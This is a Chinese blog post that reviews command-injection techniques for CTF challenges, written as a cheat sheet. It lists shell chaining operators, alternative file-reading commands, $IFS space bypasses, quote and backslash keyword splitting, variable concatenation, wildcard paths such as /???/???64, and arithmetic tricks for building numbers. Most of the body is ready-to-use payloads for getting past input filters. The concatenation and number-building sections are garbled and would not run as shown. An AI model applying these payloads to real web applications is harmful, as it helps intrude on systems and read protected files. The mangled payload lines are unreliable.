当前位置: 首页 > news >正文

总结,复习,整合命令执行漏洞实现及其绕过(绕过方式大全)

🏆今日学习目标:
🍀1复习一下以前的内容
🍀2总结整合一下过滤方法
✅创作者:贤鱼
🎉个人主页:贤鱼的个人主页
🔥专栏系列:网络安全
⏰如果有需要可以阅读前两章
25分钟了解命令执行漏洞【例题+详细讲解】(一)
25分钟了解命令执行漏洞【例题+详细讲解】(二)

请添加图片描述

命令执行漏洞

  • 🍀复习内容:
    • 漏洞原理
    • 思路
    • 实现过程
  • 🍀🍀绕过过滤方法大融合
        • Linux中的连接符
        • 查看文件的命令
        • 绕过空格方式
        • 绕过关键字
        • 过滤全部字符
        • 构造数字

🍀复习内容:

漏洞原理

控制可执行系统命令的函数

思路

控制函数,寻找flag,并且根据其对应过滤内容绕过过滤

实现过程

通过ls和ls /查看当前目录下以及根目录,通过cat,tac等打开flag

🍀🍀绕过过滤方法大融合

Linux中的连接符

大部分题目中都带有如下内容或者与其作用相似的,我们为了执行命令必须让下面这段代码失去作用
在这里插入图片描述
这里就需要介绍到连接符了,具体内容可以查看以往两期,这里我们重在总结:

连接符

cat flag.php;ls
👆执行完cat,再执行ls
cat flag.php&&ls
👆cat成功执行再执行ls
cat flag.php||ls
👆cat执行失败执行ls
cat flag.php|ls
👆将flag的内容作为第二个命令的输入
cat flag.php ‘cat love xianyu’
👆先执行单引号内内容,将结果作为命令的一部分
cat flag.php$(cat love xianyu)
👆先执行¥()内内容,将结果作为命令的一部分

查看文件的命令

如果遇到了过滤可以相互替换

命令(使用方法):
cat (cat flag.php)
tac (tac flag.php)
more (more flag.php)
less (less flag.php)
head (head flag.php)
nl (nl flag.pgp)
od(od -c flag.php)
vi (vi flag.php)
vim (vim flag.php)
sort (sort flag.php)
uniq (uniq flag.php)
file (file -f flag.pgp)
grep (grep flag.php)
paste (paste flag.php)
xxd (xxd flag.php)

绕过空格方式

cat flag.php
cat$IFSflag.php

cat$IFS$1flag.php

cat${IFS}flag.php

绕过关键字

有时候会过滤掉类似flag的关键字,可以通过一下方式绕过

flag
fl’a’g单引号
fl"a"g双引号
fl\ag反斜杠
fl$@ag¥@

也可以拼接字符

a=c;c=t;d=a; a a ad$c拼接完就是cat

a=f;c=a;d=g;b=l;cat$IFS 1 1 1a b b bc$d.phpabcd拼接出来flag

过滤全部字符

/bin/base64
/???/???64 ???

构造数字

echo $(())
0
echo ( (   ((~ (( (())))
-1
echo ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))
-1-1-1
echo ( ( (( (((($(())))$(( ( ( ) ) ) ) (()))) (())))((~$(())))))
-3
echo ( (   ((~ (( (( ( (   ((~ (( (()))) ( (   ((~ (( (()))) ( (   ((~ (( (())))))))
2

🏆结束语
贤鱼依旧会不定期更新已有内容,并且会继续更新新的内容,还请大家继续关注支持贤鱼!!!
请添加图片描述

相关文章:

  • Android开发基础——Activity和Intent
  • ES6包管理机制以及模块化
  • QT软件开发-基于FFMPEG设计视频播放器-支持软解与硬解(三)
  • 5.git远程仓库的创建(http,ssh)
  • 话费充值API
  • 【Python爬虫】requests库
  • Redis笔记
  • 金九银十,为期2周的前端面经汇总(初级前端)
  • 关于canvas的缩放和位移实战的一点点总结
  • ros下配置机器人系统V1
  • 【云原生】设备入云之前端可视化编程
  • 【消息队列】RabbitMQ
  • Linux 【进程】
  • 1、读写分离、分库分表
  • 【正点原子STM32连载】 第三十二章 内部温度传感器实验 摘自【正点原子】MiniPro STM32H750 开发指南_V1.1
  • 9月CHINA-PUB-OPENDAY技术沙龙——IPHONE
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • 78. Subsets
  • Android交互
  • java多线程
  • Java基本数据类型之Number
  • leetcode98. Validate Binary Search Tree
  • PHP 的 SAPI 是个什么东西
  • PHP 使用 Swoole - TaskWorker 实现异步操作 Mysql
  • Swoft 源码剖析 - 代码自动更新机制
  • vue2.0一起在懵逼的海洋里越陷越深(四)
  • vue-router的history模式发布配置
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • 从0到1:PostCSS 插件开发最佳实践
  • 从0实现一个tiny react(三)生命周期
  • 从零开始的无人驾驶 1
  • 面试总结JavaScript篇
  • 前端每日实战:61# 视频演示如何用纯 CSS 创作一只咖啡壶
  • 前端学习笔记之原型——一张图说明`prototype`和`__proto__`的区别
  • 前端之React实战:创建跨平台的项目架构
  • 前端自动化解决方案
  • 使用putty远程连接linux
  • 一起参Ember.js讨论、问答社区。
  • 译自由幺半群
  • 在Docker Swarm上部署Apache Storm:第1部分
  • 策略 : 一文教你成为人工智能(AI)领域专家
  • # Java NIO(一)FileChannel
  • #100天计划# 2013年9月29日
  • #define,static,const,三种常量的区别
  • #NOIP 2014# day.1 生活大爆炸版 石头剪刀布
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • $.extend({},旧的,新的);合并对象,后面的覆盖前面的
  • (2)(2.10) LTM telemetry
  • (arch)linux 转换文件编码格式
  • (pt可视化)利用torch的make_grid进行张量可视化
  • (Spark3.2.0)Spark SQL 初探: 使用大数据分析2000万KF数据
  • (ZT)北大教授朱青生给学生的一封信:大学,更是一个科学的保证
  • (二十三)Flask之高频面试点
  • (附源码)ssm航空客运订票系统 毕业设计 141612
  • (蓝桥杯每日一题)love